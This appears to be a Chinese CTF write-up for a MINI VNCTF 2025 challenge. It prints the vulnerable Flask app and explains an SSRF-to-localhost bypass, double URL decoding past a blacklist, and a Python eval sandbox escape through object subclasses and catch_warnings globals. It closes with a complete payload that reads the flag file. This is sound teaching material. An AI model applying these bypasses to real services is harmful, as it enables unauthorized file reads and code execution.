1114 字
6 分钟
Python沙箱逃逸(check in)
1.Python沙箱逃逸(check in)
给你源码
'''I wish you a good head start.flag is in file namely 'flag' in the same directory as this file.
Good luck!'''
import reimport flaskimport requestsimport ipaddressfrom urllib.parse import urlparse
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
app = flask.Flask(__name__)
def general_waf(code): # Why do you need so many characters? if re.findall(GENERAL_WAF_REGEX, code): return True else: return False
def check_hostname(url): # must starts with vnctf. if not url.startswith('http://vnctf.'): return False
hostname = urlparse(url).hostname query = urlparse(url).query
# must only contain two of the restricted characters if general_waf(query): return False
# must not be an ip address, so no 127.0.0.1 or ::1 try: ipaddress.ip_address(hostname) return False except ValueError: pass
return url
@app.route('/')def index(): return 'Welcome to MINI VNCTF 2025!'
@app.route('/fetch')def fetch(): url = flask.request.args.get('url') safe_url = check_hostname(url) if safe_url: try: response = requests.get(safe_url, allow_redirects=False) # no redirects return response.text except: return 'Error' else: return 'Invalid URL'
@app.route('/__internal/safe_eval')def safe_eval(): # check if the request is from the internal network if flask.request.remote_addr not in ['127.0.0.1', '::1']: return 'Forbidden'
code = flask.request.args.get('hi')
if len(code) >= 24 * 10 + 8 * 8: # Man! What can I say. return 'Invalid code'
# Ah, if you get here, then your final challenge is to break this jail. # Try it. Not as hard as it seems ;) blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'] for i in blacklist: if i in code: return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))
if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=8080)这里分三部分,第一部绕过本地地址限制,第二部是二次网络访问导致FLASK二次url解码绕过黑名单,第三部是最重要的沙箱逃逸。开始吧
先看这里
GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)这个黑名单的正则意思是任意里面三个不能连续出现,这极其严格,让我们看看后面
def check_hostname(url): # must starts with vnctf. if not url.startswith('http://vnctf.'): return False
hostname = urlparse(url).hostname query = urlparse(url).query
# must only contain two of the restricted characters if general_waf(query): return False
# must not be an ip address, so no 127.0.0.1 or ::1 try: ipaddress.ip_address(hostname) return Falseexcept ValueError: passscheme://userinfo@localhost
@app.route('/__internal/safe_eval')def safe_eval(): # check if the request is from the internal network if flask.request.remote_addr not in ['127.0.0.1', '::1']: return 'Forbidden'
code = flask.request.args.get('hi')
if len(code) >= 24 * 10 + 8 * 8: # Man! What can I say. return 'Invalid code'
# Ah, if you get here, then your final challenge is to break this jail. # Try it. Not as hard as it seems ;) blacklist = ['\\x','+','join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'] for i in blacklist: if i in code: return 'Invalid code'
safe_globals = {'__builtins__':None, 'lit':list, 'dic':dict}
return repr(eval(code, safe_globals))这个路由先检查了客户端的访问地址必须是本地的,能解析成127.0.0.1的。,然后把hi参数赋值给code,然后限制了长度为304,然后黑名单封了十六进制,以及字符串拼接,引号都被ban了,还不能用数字,并且不能用内置模块,只能用list和dict两个模块,这怎么逃逸呢,让我们来看看:
现在,我就要重塑python沙箱逃逸,沙箱逃逸有三个法则
法则1,一切可为类,一切可溯源,就比如说下面
# 从一个数字开始1 .__class__ # <class 'int'>1 .__class__.__base__ # <class 'object'>
# 从一个字符串开始"" .__class__ # <class 'str'>"" .__class__.__mro__ # (<class 'str'>, <class 'object'>)
# 从一个元组开始(本题用的)() .__class__ # <class 'tuple'>() .__class__.__base__ # <class 'object'>法则2:object是所有类的“总祖宗”
找到object后,就能看到它所有的“子孙后代”:
object.__subclasses__() # 返回所有内置类# 大概有几百个,比如:# <class 'int'>, <class 'str'>, <class 'list'>,# <class 'warnings.catch_warnings'>, <class 'os._wrap_close'>, ...法则三,一切类会有初始方法,也就是说,会有一些原始的东西,出厂自带的东西是可以调用的,举几个例子
warnings.catch_warnings:能拿到__builtins__os._wrap_close:能拿到os模块subprocess.Popen:能执行命令- 在这个题目环境下,只让用dict和list,利用了两个特性,如果是x=dict(x=1)这样没有单引号和双引号,这样就建了一个字典{‘x’:‘1’}然后list(x)就将键组成了一个数组,[‘x’],然后用pop()方法取出就避免了使用’和”,下面是payload
lit(c for c in lit(o for o in ().__class__.__mro__ if o.__name__==lit(dic(object=1)).pop()).pop().__subclasses__() if c.__name__==lit(dic(catch_warnings=1)).pop()).pop().__init__.__globals__.get(lit(dic(__builtins__=1)).pop()).get(lit(dic(open=1)).pop())(lit(dic(flag=1)).pop()).read()结束.
部分信息可能已经过时





